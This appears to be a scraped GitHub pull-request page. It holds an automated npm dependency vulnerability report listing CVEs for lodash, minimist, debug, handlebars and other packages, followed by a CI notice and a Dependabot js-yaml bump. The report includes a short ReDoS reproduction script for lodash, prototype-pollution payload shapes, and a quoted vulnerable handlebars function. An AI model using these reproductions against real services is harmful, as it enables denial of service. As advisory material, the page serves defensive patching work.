follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor [ CVE-2021-23495 ] karma 0.13.22Vulnerability Details
The package karma before 6.3.16 are vulnerable to Open Redirect due to missing validation of the return_url query parameter. [ CVE-2021-23362 ] hosted-git-info 2.7.1Vulnerability Details
The npm package [ CVE-2020-7598 ] minimist 0.0.8Vulnerability Details
Affected versions of RecommendationUpgrade to versions 0.2.1, 1.2.3 or later. [ CVE-2020-7598 ] minimist 1.2.0Vulnerability Details
Affected versions of RecommendationUpgrade to versions 0.2.1, 1.2.3 or later. [ CVE-2020-28500 ] lodash 4.17.11Vulnerability Details
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
```<br></details>
<details><summary><b>[ CVE-2020-28481 ] socket.io 1.7.4</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 4.3 |
| **Dependency Path:** | <details><summary><b>socket.io: 1.7.4 (Transitive)</b></summary>Fix Version: 2.4.0<br></details> |
The package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.<br></details>
<details><summary><b>[ CVE-2020-15366 ] ajv 5.5.2</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.6 |
| **Dependency Path:** | <details><summary><b>ajv: 5.5.2 (Transitive)</b></summary>Fix Version: 6.12.3<br></details> |
An issue was discovered in ajv.validate() in Ajv (aka Another JSON Schema Validator) 6.12.2. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)<br></details>
<details><summary><b>[ CVE-2018-3721 ] lodash 2.2.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.5 |
| **Dependency Path:** | <details><summary><b>lodash: 2.2.1 (Transitive)</b></summary>Fix Version: 4.17.5<br></details> |
Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.5 or later.<br></details>
<details><summary><b>[ CVE-2018-3721 ] lodash 3.10.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.5 |
Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.5 or later.<br></details>
<details><summary><b>[ CVE-2018-16487 ] lodash 3.10.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.6 |
Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.11 or later.<br></details>
<details><summary><b>[ CVE-2018-16487 ] lodash 2.2.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.6 |
| **Dependency Path:** | <details><summary><b>lodash: 2.2.1 (Transitive)</b></summary>Fix Version: 4.17.11<br></details> |
Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.11 or later.<br></details>
<details><summary><b>[ CVE-2017-20162 ] ms 0.7.2</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>ms: 0.7.2 (Direct)</b></summary>Fix Version: 2.0.0<br></details> |
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.<br></details>
<details><summary><b>[ CVE-2017-20162 ] ms 0.7.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>ms: 0.7.1 (Direct)</b></summary>Fix Version: 2.0.0<br></details> |
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.<br></details>
<details><summary><b>[ CVE-2017-16137 ] debug 2.2.0</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>debug: 2.2.0 (Direct)</b></summary>Fix Version: 2.6.9<br></details> |
Affected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
## Recommendation
Version 2.x.x: Update to version 2.6.9 or later.
Version 3.1.x: Update to version 3.1.0 or later.
Version 3.2.x: Update to version 3.2.7 or later.
Version 4.x.x: Update to version 4.3.1 or later.<br></details>
<details><summary><b>[ CVE-2017-16137 ] debug 2.3.3</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
Affected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
## Recommendation
Version 2.x.x: Update to version 2.6.9 or later.
Version 3.1.x: Update to version 3.1.0 or later.
Version 3.2.x: Update to version 3.2.7 or later.
Version 4.x.x: Update to version 4.3.1 or later.<br></details>
<details><summary><b>[ GHSA-442j-39wm-28r2 ] handlebars 4.0.12</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | - |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary><br></details> |
## Summary
In `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.
Only relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.
## Description
The vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):
```javascript
lookup: function (depths, name) {
const len = depths.length;
for (let i = 0; i < len; i++) {
let result = depths[i] && container.lookupProperty(depths[i], name);
if (result != null) {
return depths[i][name]; // BUG: should be `return result;`
}
}
},
Workarounds
[ CVE-2025-5889 ] brace-expansion 1.1.11Vulnerability Details
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is [ CVE-2017-18869 ] chownr 1.0.1Vulnerability Details
A TOCTOU issue in the chownr package before 1.1.0 for Node.js 10.10 could allow a local attacker to trick it into descending into unintended directories via symlink attacks. |
✅ Build finished in 3m 24sBuild command: mvn clean verify -B -e -Daudit -Djs.no.sandbox❗ No tests found!ℹ️ This is an automatic message |

0 New Issues
0 Fixed Issues
0 Accepted Issues
No data about coverage




Bumps js-yaml from 3.12.0 to 3.15.2.
Changelog
Sourced from js-yaml's changelog.
... (truncated)
Commits
5c45bd63.15.2 released5a708f9dist rebuild3485bc0Backport merge limits from v5.4.1f34812fUpdate .gitignoreab85ae23.15.1 released30a5e76dist rebuild22a8071Backport quadratic complexity fix for !!omapc34b6c43.15.0 released21e13d3dist rebuild4165c62Add v3-legacy tag for publishDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)You can disable automated security fix PRs for this repo from the Security Alerts page.